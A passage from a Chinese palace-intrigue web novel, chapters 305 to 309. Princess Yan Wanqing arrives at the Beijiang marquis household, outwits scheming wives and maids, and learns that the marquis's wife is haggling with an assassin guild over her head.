“任务失败了,那个组织没了。”翠织低着头又说了一遍。 乌枕整个人都松了力气,她跌坐在佛堂前面。 “那燕晚清究竟是什么牛鬼蛇神,一个组织的人派过去,都不能伤她分毫?” 翠织摇了摇头:“除了一些轻伤,燕家人基本上没有什么大事。” “废物!你找的什么废物?”乌枕将这件事情归结于翠织找的人不行。 翠织面色发白:“奴婢找的是除了风雨楼之外的第二大杀手组织。” “为什么不找风雨楼?” 翠织咬着下嘴唇,有些羞愧:“风雨楼收价太贵了。” “能有多贵?”乌枕冷笑:“我们堂堂北疆侯爷府还出不了这么点钱?” “燕晚清的人头,价值万金。”她不是没问,货比三家之后,还是这个第二大杀手组织性价比最高。 万金…… 乌枕听完不吭声了。 整个侯爷府掏空了,也没有万金啊。 “怎么这么贵?!” 翠织摇了摇头:“不知道。” “你不是去问了么?怎么不知道!”乌枕眼下对于翠织的办事能力实在是感觉到很失望。 翠织一脸无辜:“风雨楼说无可奉告。” “要万金,还不告诉买家这么贵的理由,这风雨楼干的什么勾当!”乌枕恨恨的骂道。 翠织老实巴交:“杀人的勾当。” 乌枕:“……你闭嘴。” “诺。” 好半饷,乌枕才缓过劲儿:“小侯爷干什么去了?已经两天没有看见他了。” “应该是出去跟人谈那批玉石的生意,估计再有一日便能回府了。”翠织交代道。 想到上次和怀玉见面不欢而散,乌枕心里也有些过意不去。 “这些时日辛苦她了,等她回来你炖点鸡汤给她补补吧。” 翠织点头称是。 乌枕这才心里好受了些:“你去和风雨楼继续谈谈价,看看能不能低一点,万金是决计没有的,但是千金还能凑凑,只要是不让燕晚清到北疆来,也不一定要她人头落地。” 翠织听了乌枕的吩咐,赶紧出去办了。 没过一日,红雾便将这个消息告诉了燕晚清。 此时她正坐在院子里纳凉。 “那女子一身漆黑的过来,还是个武功不低的练家子。”红雾说道:“应该就是当初花钱雇杀手刺杀我们的人了。” 燕晚清仰着头躺在摇椅上,看天上的月亮。 前两日那场刺杀,对于女眷来说确实是受了惊吓。 沈淑云到现在都不敢一个人呆着。 母亲孙青莲还有表弟孙鸿煊还有小七燕子濯等人,身上也或多或少受了些伤。 “只是可惜了当初那个杀手,竟然身上被下了蛊毒,任务失败直接毒发身亡了。”红雾遗憾的开口:“不然就能直接顺藤摸瓜找过去了。” 燕晚清伸出手在空中做出一个圆圈,将月亮圈在了其中。 “此处距离北疆侯府还有多少路程?”她问道。 红雾愣了一下,立刻回答:“不到七日,快马加鞭三日便能到。” “你去准备准备,我们明日秘密动身过去。”燕晚清轻轻道:“对外宣称我在这次刺杀中受了重伤,要留在香城调养生息。” 她对于北疆的蛊毒,眼下产生了极其浓厚的兴趣。 第三百零五章 今天开始,谁都别想有好日子过 离开的时候,燕晚清把小六和沈淑云都带在了身边,本来孙鸿煊也想跟过来的,可他不能丢下一众女眷,只能依依不舍的跟燕晚清道别。 因为已经和怀玉通过了书信,所以她们也没有特别着急的赶路,而是在怀玉回来之后的那天下午,到了北疆。 一进城,一股和京都完全不相同的异域风情扑面而来。 燕凌珍拉着燕晚清的手,双眼冒光:“阿姐,她们的衣服好好看,你给我买!” 燕晚清莞尔,让从歌带着她去成衣店了。 而她和沈淑云则是进了一家酒楼。 “我们不直接去吗?”沈淑云疑惑道,难不成到了北疆侯府之后,北疆小侯爷会不给燕晚清这个未婚妻吃饱饭? 燕晚清刚点好菜,结果小二倒的茶水,说道:“不着急,我们是秘密出发,不如再观望两天,你看这北疆,街道上多热闹,逛逛再说。” 沈淑云不知道燕晚清是怎么想的,不过经过这几日的熏陶,她发现还是要尊重燕晚清的想法,不能用自己凡人的思维去质疑她,这样是不会有好下场的。 她还指望着燕晚清带着她一起找那宋化虚复仇呢。 “菜上来了,快尝尝,看起来不错。”沈淑云殷勤的将菜都放在了燕晚清面前。 店小二陆陆续续的上菜,燕凌珍和从歌也刚好回来,四个人坐在餐桌上,刚吃了半饱,就听见楼下传来了一连串的脚步声。 燕晚清一抬头就看见一个长相秀丽的女子,穿着一袭翠绿白色的长裙,带着两个小厮站在自己的面前。 “想必您就是安平郡主了吧,有失远迎,奴婢是北疆侯府的翠织,特意奉了北疆侯夫人的命令前来,请您过府一叙。” 燕晚清闻言放下了碗筷:“北疆侯夫人?”她看着翠织笑了笑:“夫人的消息挺灵通的,我们几个刚到北疆呢。” 翠织脸上浮现出不太自然的笑意:“安平郡主乃是小侯爷的未婚妻,我们夫人自然是关注的,这不您刚到,夫人就派奴婢过来邀请您过府了……就怕照顾不周,怠慢了您。” “既然是这样,那就事不宜迟,也不能让北疆侯夫人一直等着咱们。”燕晚清放下了手里的筷子,用帕子擦拭了一下唇角,然后冲着翠织说道。 …… 小侯爷怀玉远在京都的未婚妻安平郡主到了! 这个消息不胫而走。 还没等燕晚清他们的马车到北疆侯府,沿路已经聚集了不少百姓。 “阿姐,他们都是来看你的哎。”燕凌珍掀开车帘的一脚说道。 燕晚清面无表情的坐在马车内:“知道了,把帘子盖上了吧。” 燕凌珍以为自家阿姐不高兴,赶紧老老实实的合上,然后坐好。 燕晚清指了指窗外,小声说道。 “北疆侯夫人对我多有忌讳,消息一定不是她走露的,应该是和她不对付的二房那边。” 沈淑云有些疑惑,小声说道:“北疆侯府也有这种内斗呢?” “皇室都内斗,更何况是侯府呢,司空见惯就行。”燕凌珍在旁边补充道,她看了不少电视电影,知道观众都爱看什么。 听完燕凌珍的话,沈淑云惊讶的捂住了嘴巴。 燕凌珍半眯着双眼,靠在软垫上假寐。 从刚刚一上车,她就闻见了一股子熏香。 带着松木的香气,隐约透着一丝让人感觉到肠胃不适的感觉。 燕晚清相信鼻子一向灵敏的燕凌珍一定也感受到了。 不然不会一上车就用帕子捂着自己的鼻子。 燕凌珍感觉自己简直是要臭吐了。 这车上是什么奇葩熏香,闻着她就想呕。 刚刚掀开车帘也不过是想探出头去透口气,谁曾想车帘一掀开,面对的就是一张张朴实无华的老百姓的脸。 当然,她拿他们当老百姓。 老百姓拿她当稀奇物种观看。 以为京都来了什么三头六臂的人物了。 她见阿姐已经闭目养神了,索性也闭上了眼睛,只是手上的帕子一直捂着鼻子。 沈淑云见他们俩都闭上了眼睛,一时之间没了说话的人,她也只好斜靠着马车闭上了双眼假寐起来。 马车没走多久,就停了下来。 “郡主,北疆侯府到了。” 翠织的声音在外面出来,燕晚清睁开了眼睛。 车帘被从外面掀开。 燕晚清第一个走了出去,从歌立马扶着她从马车上下来。 今日的燕晚清身着一身红色罗裙,整个人看起来意气风发,燕姿丽质,看起来异常的夺目。 刚从马车上露面,百姓中就爆发出一阵欢呼。 显然是对燕晚清的容颜十分满意。 她闻声挑眉。 倒是没想到北疆的百姓这般的重视容貌。 下了马车,怀玉已经在旁边等候多时:“郡主。” 燕晚清毫不避讳的将手从从歌的手里拿了出来,然后放到了怀玉的手中,目光促狭了扫过她:“好久不见。” 怀玉忍不住用手捏了捏她。 这小妮子,多日不见,竟然敢调侃自己。 燕晚清坦然的随着怀玉上了台阶,此时一个穿着华贵的妇人,带着一众都站在门口等候自己。 看来北疆侯夫人还是个知礼数的,没有因为自己在京都做的一些事情,而怠慢自己这个安平郡主。 燕晚清上前,北疆侯夫人露出一个和蔼的笑容来。 “安平郡主当真是个秒人,百闻不如一见呐。” 燕晚清掩唇轻笑,装作乖巧娇俏的模样:“夫人谬赞了,安平也不过是个普通人,全靠大家抬爱。” “话就不要在门口说了,都进去吧。”说话的是侯府夫人身后的一个女子,穿着一身湛蓝色的裙衫,头上珠光宝气,一双吊梢眉看起来十分不好相与。 这应该就是之前怀玉跟她提过的二房的夫人,柳夫人了。 燕晚清看着柳夫人,露出一个浅浅的微笑:“都听您的。” 柳夫人扫了燕晚清一眼,唇角露出一抹似笑非笑的笑意,然后竟然率先迈开步伐朝着门里面走去:“那就进来说话吧,外面人太多了。” 因为她这个行为,乌枕愣了一下,眉眼间的寒意一闪而过。 但是很快她又笑的和煦:“郡主里面请。” 燕晚清更是亲切的搀扶着乌枕:“还是夫人先请吧。” 两个人一阵客套,总算是进了大门。 怀玉为两个女人溜须拍马的表面功夫所折服,她暗地里叹了一口气。 真是造孽。 感觉从今日开始,府里应该是没好日子过了。 按照她对燕晚清的了解,府里的人最好是别招惹她,不然不似也得脱层皮。 想到这些,怀玉唇角忍不住扬起笑意。 真是想想就让她兴奋呢。 第三百零六章 燕窝还是热的,你趁热吃 燕晚清与侯府夫人一阵寒暄之后,顺利的入驻了自己的小院子。 院子五脏六腑一应俱全,唯一的缺点就是小。 小的甚至都不如她之前院落的四分之一大。 偏偏燕凌珍和沈淑云都不愿意离开燕晚清,再加上从歌,四个人住一个院落,多少有些拥挤。 不过大家心里都有数,这院子住不了多久,所以心理上也就没多少落差了。 一到北疆,燕凌珍就按不住自己想要研究蛊毒的心。 一大早天还没亮,就窜出府邸去了。 究竟去了哪里,燕晚清也不知道。 不过她向来本事大,头脑也灵活,所以她也就没有多少好担心的。 唯一让她感觉到头疼的就是这个沈淑云。 “你已经及笄了。” “对。”沈淑云见燕晚清跟她说话,赶紧点头。 燕晚清看着她跟个八爪猴一样搂着自己的胳膊:“这样不太好吧。” “啊……抱歉。”沈淑云小脸一红,赶紧松开。 燕晚清叹了一口气,她堵在了茅房门口:“沈小姐你这样,我真的很有压力。” 沈淑云可怜唧唧:“那能用一根绳子拴着吗?我总感觉有人要杀我。” 自从上次从杀手手里死里逃生,沈淑云就变成了这副胆小如鼠的模样。 想当初她从河里把这个人捞起来的时候,可是半句没落到什么好。 但是眼下沈淑云就跟小蝌蚪找娘亲一样,是死是活都不愿意离开燕晚清。 且不说燕晚清本人了,一旁的从歌看了都觉得心惊的程度。 燕晚清知道今日这跟绳子不系上,可能自己就不能解压了,于是她心一狠,将自己的腰带解了下来,递给了沈淑云:“是你非要呆在这里的,待会儿可别嫌丑。” 她燕晚清又不是不食五谷杂粮的仙女,长得好看是她的本事,不代表她那什么不熏人好吧。 沈淑云点点头,如获珍宝一样将腰带抓在了掌心里。 隔着一扇门,两个女子靠着一条腰带紧紧的捆绑在了一起。 等到燕晚清一身轻松的从里面出来,明显感觉到沈淑云看向自己的目光有些诡异。 她扫了一眼沈淑云:“有事么?“ 沈淑云面色讪讪的摇了摇头,将手里的腰带递了回去。 燕晚清从善如流的将腰带系好,伸了懒腰走了出去。 这拉完就是神清气爽。 今日怀玉要先出门处理一些事情,所以没时间过来找燕晚清,她一时之间也没什么事情可做,便在院子里喂了喂鱼,然后到头就睡。 醒来的时候已经是天色很晚,也不知道沈淑云去了哪里。 她揉了揉眼眸。 看到门外进来了一个丫鬟。 “一来就知道睡睡睡,今日这么忙,还要过来伺候这么个懒鬼。” 丫鬟嘴里不干不净的说道。 她以为自己说的燕晚清听不见,但是她内力深厚,早在门口就听见丫鬟的抱怨了。 原来在侯府里,自己已经是个懒人了形象了。 “真是不知道柳夫人哪根筋搭错了,这个懒鬼都已经干出那样大逆不道的事情了,还不感激抓起来送官府,竟然还要这般好吃好喝的供着。”丫鬟心里越想越不高兴,她拿起盘子里的珍馐就开始大快朵颐。 “全部吃掉,哼,反正这个懒鬼在睡觉!” 丫鬟冷哼一声,在燕窝里面胡乱搅拌,吃了两勺之后觉得难吃,但是又心里不平衡,她在碗里吐了几口口水。 “这样才对嘛。” 她非要看看这个京都里传的神乎其神的安平郡主,究竟是何方神圣。 丫鬟这样想着,掀开了帷幔,直接对上了燕晚清那双似笑非笑的桃花眸。 “啊——”丫鬟忍不住尖叫一声。 “喊什么?”燕晚清挑眉。 丫鬟额头上都是秘密的冷汗:“没什么,只是不知道郡主您已经醒过来了。” “你手里是什么?”燕晚清挑眉问道。 丫鬟赶紧将手里的餐盒放在了案几上:“是柳夫人特意让奴婢送过来的北疆特产,用来慰问郡主的舟车劳顿的。” “柳夫人有心了,心意领了,本郡主不太爱吃这些,不如就赏给你吧。”燕晚清将餐盒打开,取出了里面的燕窝:“燕窝还是热的,你趁热吃。” 说罢就这么看着那丫鬟。 她实在不知道,侯府里的小丫鬟,为何会对自己的恶意这般的大。 实在是有够离谱。 就因为她占着北疆小侯爷夫人的位置了? 小丫鬟见到那碗燕窝,脸色一阵红一阵白:“这是柳夫人特意留给您的,奴婢哪里配吃呢。” 虽说这里面是自己的口水,但真要她吃下去,多少心里还是有些膈应的。 可是燕晚清却笑道:“本郡主实在是有些吃不下,但也不能浪费柳夫人的一番心意,你就当是帮本郡主一个忙,用了它吧。” 这已经是燕晚清第二次说这些话,丫鬟知道若是自己再推辞的话,多少是有点不识好歹了。 她只能端着燕窝,强忍着恶心,一口一口的吞下。 其实她并不是柳夫人的院子里的,而是乌枕院子里的。 说这些话也不过是希望燕晚清和二房那边不对付。 丫鬟草草的吃完了一碗,胃里翻江倒海。 “多谢郡主,奴婢用完了。” “还有这些糕点呢,你再用些。”燕晚清皮笑肉不笑的说道。 丫鬟这回算是知道了,估计自己刚刚在门口时说的那些话,或多或少都被燕晚清听进去了一点。 不得已,丫鬟只能不断的吃着,等从小院子里出来的时候,她已经是撑得不行。 刚到院门口,便扶着墙壁,直接呕了出来。 这京都来的郡主,到底是不一样。 三言两语就将自己逼成了这样。 丫鬟眼中闪过了忌惮,她摸着肚子,朝前走去:“得赶紧和夫人说说这个人。” 可不能麻痹大意了。 那边丫鬟刚走,燕晚清就站在了院门口,她环臂眺望着丫鬟虚浮的脚步,无奈的摇了摇头:“人不犯我我不犯人,奈何,人偏要犯我呢?” 睡醒之后,也不知道沈淑云去了哪里。 这人生地不熟的,她一向这般胆小。 燕晚清索性直接出了院门,开始去找她。 刚走出去没几步,就听见不远处的院落里面,传来女子的尖叫声。 燕晚清听罢,桃花眸直接闪过寒意。 是沈淑云的声音。 第三百零七章 脚不想要,尽管踩下去试试 “你好大的胆子,竟然敢偷我们柳夫人的首饰!”为首的丫鬟凶神恶煞的站在沈淑云的面前,手里拿着一个小皮鞭。 刚刚那一声脆响,便是皮鞭打在身上的声音。 沈淑云满眼都是害怕。 她不过是嫌屋子里闷,然后燕晚清又睡着了,所以才出来溜达了一下。 然后这个柳夫人就喊自己过来坐坐。 一杯茶还没有喝完的功夫,柳夫人就说自己累了,回去换件衣服,然后这个丫鬟就抓着皮鞭出来抽自己了。 “没,没有!”沈淑云虽然是小农户出身,可是跟着宋化虚当师父之后,什么首饰珠宝没见过。 再说了,后面跟着燕晚清,也是各种精美首饰没断过。 柳夫人区区二房妾室的首饰,她看都不会看的。 丫鬟见她顶嘴,冷笑着扬起手里的小皮鞭:“你还敢顶嘴!这个步摇就是刚刚从你身上取出来的,铁证如山,容不得你狡辩!” 说着,那皮鞭又挥了下来。 这回沈淑云知道了。 这哪里是在教训她,分明是用打她来拉燕晚清的脸,从而踩着整个北疆侯府大方的脸。 “有什么样子的主子,就有什么样子的奴才!”那丫鬟将手里的皮鞭挥的啪啪作响。 沈淑云被追着打了好几下,疼的摔倒在地上。 之前的伤势还没好,眼下又被这丫鬟劈头盖脸的打了一顿,怒火攻心之下,她一下子给气晕了过去。 丫鬟还嫌不够,抬起脚就要踩沈淑云的脸。 只听见门口传来懒洋洋的声音。 “脚不想要了,你就踩下去试试。” 那一身红衣耀眼,谁人不知,未来的北疆侯少夫人喜爱红衣。 那丫鬟面色一白,收回了皮鞭:“请郡主恕罪,奴婢只是在惩罚手脚不干净之人。” “手脚不干净?”燕晚清轻笑一声,上前一把将沈淑云捞入了怀中,然后在她的人中位置摁了一下,沈淑云悠悠转醒。 “郡主?”她讶然的开口:“您醒了。” 燕晚清点了点头:“我要是再不醒,你就得交代在这里了。” 她意有所指的话语,让丫鬟白了面孔。 燕晚清将沈淑云推到了一边上,上前两步,一把抢过了丫鬟手里的皮鞭,放在手里把玩了一下,然后眼皮不眨抬手就给了那丫鬟一下。 只听见清脆的声响之后,丫鬟撕心裂肺的尖叫出声。 燕晚清眼皮子不眨:“这皮鞭挺结实的。” 灌入了她的内力之后,竟然还能完好无损,是个好东西。 丫鬟疼的直接摔到在了地上。 听见声音的柳夫人总算是从门里面走了出来,她假装是刚刚看到燕晚清:“哟,安平郡主,真是稀客,快些准备茶水上上来。” “大可不必。”燕晚清抬起脚,毫不客气的踩在那刚刚耀武扬威的丫鬟肩膀上:“这是您的狗?” 字眼属实有些不含蓄。 柳夫人脸色青一阵白一阵:“她这是怎么招惹到郡主了?” 燕晚清朝着沈淑云勾了勾手指,她赶紧吧嗒吧嗒的小跑上前。 燕晚清勾着她的下巴,明显看到肩颈到下巴的位置有一处深深的红印。 “柳夫人这么年轻,眼神应该很好,可以看得见吧?”她冷笑道。 柳夫人疼惜的上前:“这是怎么回事?怎么受伤了!刚刚不是还好好的?” 沈淑云极其委屈,平日里这些话她是不敢去说的,但是今日不知怎么的。 许是因为燕晚清站在旁边,她心里有了底气,所以沈淑云说道:“夫人的丫鬟污蔑我偷了您的首饰,还清兵夫人明示,我到底偷了什么?!” 柳夫人看了看燕晚清的神色,然后温柔的看向沈淑云:“你这孩子,这贱婢许是嫉妒你我之间关系好,所以这才找茬呢,你乃是安平郡主的贴身侍女,什么好首饰没见过,怎么可能偷我的东西呢,都是她瞎说罢了。” 这一下,给沈淑云气到不会了。 什么都归到丫鬟身上,这个柳夫人当真是个狠角色。 不过燕晚清可不是沈淑云,她更狠:“既然柳夫人这么说的话,这个丫鬟本郡主就带走了。” “什么?”柳夫人愣住了。 燕晚清轻笑:“本郡主没什么本事,就是有点护短,你既然说这丫鬟善妒,眼下又伤了我的人,此番定然是要讨债让我的人心里舒坦才是。” 她凝视柳夫人:“您若是舍不得,发个话,这个丫鬟本郡主也能给你留下来,毕竟本郡主做客,不能喧宾夺主。” 好伶俐的一张嘴! 当真是能将死的说成活的。 柳夫人攥紧手里的帕子,强行挤出一抹微笑来:“郡主往后也是要跟我一起生活在这侯府里的,眼下就这么大张旗鼓的惩罚下人,多少会有些失去人心,还是交给妾身来处理吧。” “哎嘿。”燕晚清抬手制止:“既然柳夫人也说了本郡主迟早要接管侯府的一切事物,眼下的这些事情也不过是提早熟悉,如此贱婢,不加以惩罚,杀鸡给猴看,只怕本郡主往后更加当不了侯府的家了。” 柳夫人被这句话气得不轻。 “既然如此,郡主便自行处理吧。“ 什么东西,刚来侯府,还没有过门,就想要直接管家了! 且不说有没有她柳夫人什么事情,那大房的人还没死呢,能有她安平郡主什么事情啊! 看着燕晚清头也不回的拖着自己的人出去,宛若拖着一条死狗,柳夫人攥紧了手里的一方帕子。 沈淑云看了看柳夫人的脸色,冷哼一声,抬脚跟了上去。 柳夫人见状更加难受了。 今日傍晚的这出闹剧,很快就像是涨了翅膀一样传到了乌枕的耳边。 乌枕听着嬷嬷讲述那柳夫人气得不轻,她笑不可支。 “真不错,这燕晚清真有点本事,能将那贱人气成这样。” 但是转念一想,她又狠狠道:“不过就是个落魄郡主,当真以为我们北疆侯府是难民收留所了,什么东西都敢进来。” “想要进我们北疆侯府的门,也得看看她有没有这个命了!” 冲着那些想要接管侯府事务当家的话,乌枕就觉得这个燕晚清没有要留下来的必要了。 眼下就等风雨楼回应接不接这个任务了。 一旦接了,燕晚清就等死吧。 乌枕眼中闪烁着恶毒的光芒。 此时外面传来翠织的声音:“夫人,小侯爷回府了。” 第三百零八章 收拾柳夫人,杀鸡儆猴 怀玉一身怒气的回到了侯府。 她铁青着脸,刚还在长廊上走,二房的柳夫人就带着丫鬟拦住了自己的去路。 “小侯爷,您可算是回来了。” 怀玉眼里都是不耐烦:“柳夫人有何事?” “你那还没有过门的媳妇儿,今日可是好一通威风,我们北疆自然是比不上京都的丫鬟奴才们伺候的周到,但也算是人命一条,怎么能如此轻贱!” 怀玉懒得再听,她抬手打断:“柳夫人不如直接说想要做什么。” 今日她在外面与人谈玉石生意,早就谈好的价格,突然对方中途反悔,本来以为是同行竞争,谁知道竟然是二房的人背后捅刀子。 为了这一桩生意能成,她不得不让利三分,最终才谈妥了下来。 所以眼下看到二房的柳夫人,怀玉只想将其快点打发掉,不然她感觉自己会疯。 “小侯爷好大的架子,妾身不过是将今日府中的不平事说与小侯爷听,您刚听两三句就这般不耐烦了?” 柳夫人今日这气直接冲到了天灵盖上,怎么一个两个都可以不拿自己当回事了! “什么不平事?”一道清丽的嗓音从柳夫人身后响起,瞬间让她背后哇凉。 说人坏话被人当场听见,柳夫人现在恨不得地上有个洞让自己跳下去。 燕晚清手里还捏着刚刚的软鞭,凭栏依靠,红唇上带着浅浅的笑意:“柳夫人怎么不说话了?本郡主也想听听这侯府中的不平之事究竟是什么事情呢。” 怀玉一看见燕晚清过来,整个人都松懈了些许。 眼眶竟然还有些湿热起来。 燕晚清给她一个安抚的眼神,抬脚朝着这边走了过来:“侯爷在外辛苦了,这些后院的事情还是交给我来打理吧。”说完她站在了柳夫人面前,笑意浅浅,手中的软鞭一上一下的轻轻的落在了掌心里:“柳夫人不愿意开口,是因为看不起安平么?” “绝对不是!”柳夫人赶紧双手摇摆,这么大一顶帽子扣下来,不死也得脱层皮,她可不想给老爷惹麻烦。 燕晚清莞尔:“那夫人刚刚跟小侯爷说的是什么事情?” 柳夫人额头上的汗珠越来越密集,她干巴巴的发出几个音节,在燕晚清似笑非笑的目光中双手不自然的握在了一起:“也就是府里的一些小事情,郡主……您刚到府里不太清楚,咱们府上其实——” 柳夫人绞尽脑汁的憋出一些废话。 怀玉看热闹不嫌事儿大,冷冷的补充:“柳夫人刚刚不是想向本侯告郡主的状么?” “哦?”燕晚清这一声拉的很长,在柳夫人面如死灰的目光中,她将软鞭缓缓的抬起。 柳夫人瞪大眼睛:“你敢动手!这里是北疆侯府,不是京都,你最好掂量一下自己的身份!” 燕晚清在这一声怒吼中,伸了个懒腰。 柳夫人意识到自己说了不该说的,超后踉跄的两步,身后的丫鬟立刻将她扶住。 “夫人……”丫鬟小声的说道,语气十分担忧。 柳夫人示意她松开:“无碍。” 她站直身子,手脚都在发凉。 “本郡主是什么身份?”燕晚清将自己的手放在了空中,怀玉立刻搀扶着,她勾唇看着柳夫人笑道,语速很慢:“看来柳夫人真的是对本郡主颇有怨言呢,刚刚那丫鬟已经全都招了,说是夫人下的命令,让她去针对本郡主的人,原本还想着以后都会是一家人,这件事情睁一眼闭一只眼就过去了,可是眼下看来……” 燕晚清笑的薄凉:“如果不是北疆以为京都的人好欺负,那便是以为我燕晚清好欺负了。” 话音落下,周边一片寂静。 柳夫人故作冷静,她看向怀玉:“妾身好歹也是二房的人,小侯爷身为侯府的主子,就这么让一个外客欺负于妾身么?” “外客?”怀玉眼神讥诮:“你莫不是搞错了,安平郡主乃是先皇赐婚给我们北疆侯府的侯爷夫人,此次她来北疆便是过来与本侯履行婚约的,往后府中大大小小的事务都会交给她管理,谁若是对她不敬,那便是对本侯的不敬,还是说柳夫人仗着二叔平日里的宠爱,已经到了不将本侯放在眼里的程度了。” “柳夫人,听见没?往后本郡主便是这侯府的女主人,你这般对我无礼,我可是会严惩不贷的。”燕晚清压低声音凑过去,一双桃花眸布满讥诮看着那柳夫人。 “好,好啊!你们竟敢对长辈如此不尊,等你二叔回来,有你好受的!”柳夫人一咬牙一跺脚,她说不过总躲得起! 可是燕晚清哪里会让她走。 手里的软鞭早就裹着她的腰肢,将其狠狠的拽着留下来。 柳夫人冷不丁腰上来了这么一下,疼的她尖叫出声,冷汗涔涔。 可急坏了旁边的小丫鬟。 这个柳夫人可是二爷最喜欢的夫人了。 要是伺候的不周到,届时她肯定要受到惩罚的。 想到这里,丫鬟立刻扑上前去护住柳夫人。 “真是大言不惭,你算哪门子的长辈,不过是看在怀玉的面子上,喊一声柳夫人,还真拿自己当碟子菜了,轮尊卑,你为妾,为奴,本郡主的封号尚且还在,与怀玉的婚书也在,你好大的胆子,竟然敢一而再再而三的算计本郡主!”燕晚清冷下脸来。 今日她势必要杀鸡儆猴。 既然这个柳夫人撞上来了,那就别怪她不客气了。 北疆有人派出大量杀手刺杀自己的这件事情,她可是记在心里的! “我可是二爷的柳夫人,你动我的话,二爷不会让你们好过的!”柳夫人仗着二爷的喜欢,觉得怀玉不会让燕晚清冲着自己动手。 可是她猜错了。 在燕晚清的面前,怀玉一言不发,以一种极其同情的目光看着自己。 然后那软鞭从天而降,打在了她的肩膀上。 疼的柳夫人一下子摔倒在了地上。 “这一下,是还给你的,欺负了本郡主的人,无论是谁都得付出代价。”沈淑云既然是自己带过来的,那就是自己罩着的人,谁若是动了,那就是不给她燕晚清面子。 对付这种人,她又何必再去给他们面子呢? “你那二爷心中不服,尽管来找本郡主便是!”霸气的丢下这句话,燕晚清直接抓着怀玉离开的长廊。 第三百零九章 大手一挥,买! 怀玉一路上都没说话,一直到燕晚清那玲珑小院之后,她才叹了一口气。 “本来你可以毁了婚约直接走的,眼下闹成这样,你走不了了。” 燕晚清松开她的手:“走不了那便不走了。”除了对付宋化虚这一件事情一直压在心上,其他的一切她都已经处理好了。 眼下怀玉生活在这种水深火热的环境下面,她身为姐妹,要是只顾自己快活,直接走了,岂不是狼心狗肺? “可是……”怀玉面露难色,北疆现在十分混乱,自己都时常身处危险之中,她不想让燕晚清刚从京都的龙潭出来,眼下又踏入北疆的虎穴。 “别可是了,这柳夫人我也打了,现在也没有后悔药吃了。”燕晚清耸耸肩:“更何况前不久我遭遇了一场规模浩大的暗杀,眼下有证据证明这个人,在北疆……” “你的意思是侯府有人暗杀你?!”怀玉面色铁青:“谁这么大胆!要是被我查出来,非把他碎尸万段!” “所以我留在这里,不只是为你,也是为了我自己。” 怀玉听完,表情松动了些许,她伸出手揉了揉自己的眉间,在院子中的椅子上坐了下来:“你根本不知道北疆有多么凶险,我身上的伤你明明已经看过了……晚清,你知道我真的不希望你留下来,我根本没有办法去保护你,要是你因为我受到了一丁点的伤害,这辈子……我,我……” 怀玉说着眼眶红了起来。 说到底,她也不过是个女子。 辛苦支撑了这么多年,已经是穷途末路,眼下的北疆内忧外患,她已经是焦头烂额。 眼下在燕晚清的这个知根知底且交心的人面前,她脆弱的就像是个孩子。 燕晚清上前将她抱在了怀中,轻轻的揉了揉她的脑袋:“怀玉……你既不想我在危险之中,那我又何尝不想救你出这摊烂泥呢?皇权我尚且对付得了,区区一个北疆,又能奈我何?所以不要担心,我会处理好的,这婚,我们得成。” 不光得成,还得大张旗鼓的操办。 她一定会要让怀玉光明正大的以女子的身份活下去。 燕晚清眼中闪过坚定的目光。 怀玉却是满眼苦涩。 是不是自己做错了选择,终究还是将晚清给拉下了浑水。 她失去了亲人已经十分难过,浑身是伤的离开京都,却为了自己再次不顾安危投入进来,想到这里,怀玉心中十分难受。 此时沈淑云端着一盆水从里面走了出来,看到这一幕,她傻眼了:“你,你们……” 她依稀记得这燕晚清之前在明月镇和另外一个男子关系匪浅的,怎么今日来了北疆又换了一个。 眼前这个模样清秀,眉眼含情,只是看起来面色苍白,没有上次那个那般健硕,不过……也别有一番滋味。 怀玉在沈淑云促狭且惊奇的目光中,缓缓挣脱开,轻咳了一下:“那……本侯就不打扰了,夜色已深,你早些休息。” 燕晚清点点头,嘱咐道:“凡事有我。” “嗯。”怀玉点点头,从院中离开。 燕晚清心思微定,她刚转过身,就看见沈淑云凑过来,笑嘻嘻道:“郡主,您真乃我们女子学习的楷模典范!” “?”燕晚清挑眉,不解。 沈淑云用肩膀碰了她的胳膊:“哎哟,别装了,我都看见了。”压低声音又说道:“各有各的好,只是他们知道彼此的存在吗?不会后面为你争风吃醋大打出手吧?” 好家伙。 燕晚清被她的话气笑了。 感情是觉得自己人在草中过,片叶不沾身啊。 “那倒没有,他们相处的很愉快。”燕晚清故意说道,果然沈淑云眼中的光芒更甚:“这么厉害!您也教教我呗,这一个两个不嫌少,三个四个不嫌多,要是能多多益善,这一辈子也算是没有白来过啊。” 燕晚清:“……”她倒没有想到这个丫头心这么大。 还多多益善! 她无奈的摇了摇头:“真要说有什么办法,大概就是他们都很爱我吧,愿意为了我去成全对方。”说完燕晚清擦着沈淑云的肩膀走进了里屋。 沈淑云抱着水盆站在院中仔细评为这句话,眼中闪烁着诡谲的光芒,仿佛被打开了新世界的大门。 秒啊! 次日清晨。 燕晚清一睁开眼,床榻边上蜷缩着一个小小的身躯。 小脸脏兮兮的,衣服上也是各种破洞。 燕凌珍这个小兔崽子深更半夜的回来,洗都没洗就上了自己的榻。 “小六?”她伸出手去推了推。 燕凌珍嘴里不知道嘟囔着什么,用手背胡乱擦拭唇角的口水,然后转了个身子继续睡觉了。 燕晚清深呼吸一口气,强忍住自己想要连人将被褥一起卷起来丢出去的冲动,自己先起了床。 横竖这个该死的小院子是待不了了。 今日便出去重新买一处院子吧。 反正钱多,烧得慌。 “主子。”红雾见燕晚清起身了,立刻现身。 燕晚清揉了揉眼睛,声音还有刚起床时的软绵,与平日里的清冷不太一样。 “怎么样?” 红雾听得小脸一红,赶紧回答:“与主子料想的不错,那人终于来楼里下单了。” “可有说什么?” “万金太贵,问千金行不行。”红雾撇嘴。 燕晚清被气笑了,她将口中的盐水吐掉:“我的人头,万金都不配了?” 红雾强忍住笑意。 “还千金?!真好意思说!”她冷哼一声:“不接,就万金。” 士可杀不可辱。 “讨价还价的,真当我风雨楼是菜市场了。” 红雾憋笑憋得不容易,赶紧应了下来,隐了身。 燕晚清在院中练了一套剑法,刚好从歌从外面回来了。 她面色不是很好。 燕晚清看着她盘子上的清汤寡水,就知道又是这些老套路。 “这群女子没有新招数了,整日就喜欢在吃食上面做文章,真是没劲。”燕晚清将长剑收了起来,长呼出一口浊气,冷笑道。 从歌将盘子放在石桌上。 “米粒都没有几颗,实在是欺人太甚了。” “无妨,你去喊她们两个起来,收拾收拾,既然这侯府这般不召见我们,我们便出去重新买个府邸便是。”她燕晚清还真不差钱。 从歌知道自家小姐的脾性。 人不犯我我不犯人,人若犯我我必斩草除根。 侯府上下,这回算是真的踢到铁板上了。 燕晚清四个一大早,便大摇大摆的出了门。 先是吃了个早饭,然后便开始四处看院子了。 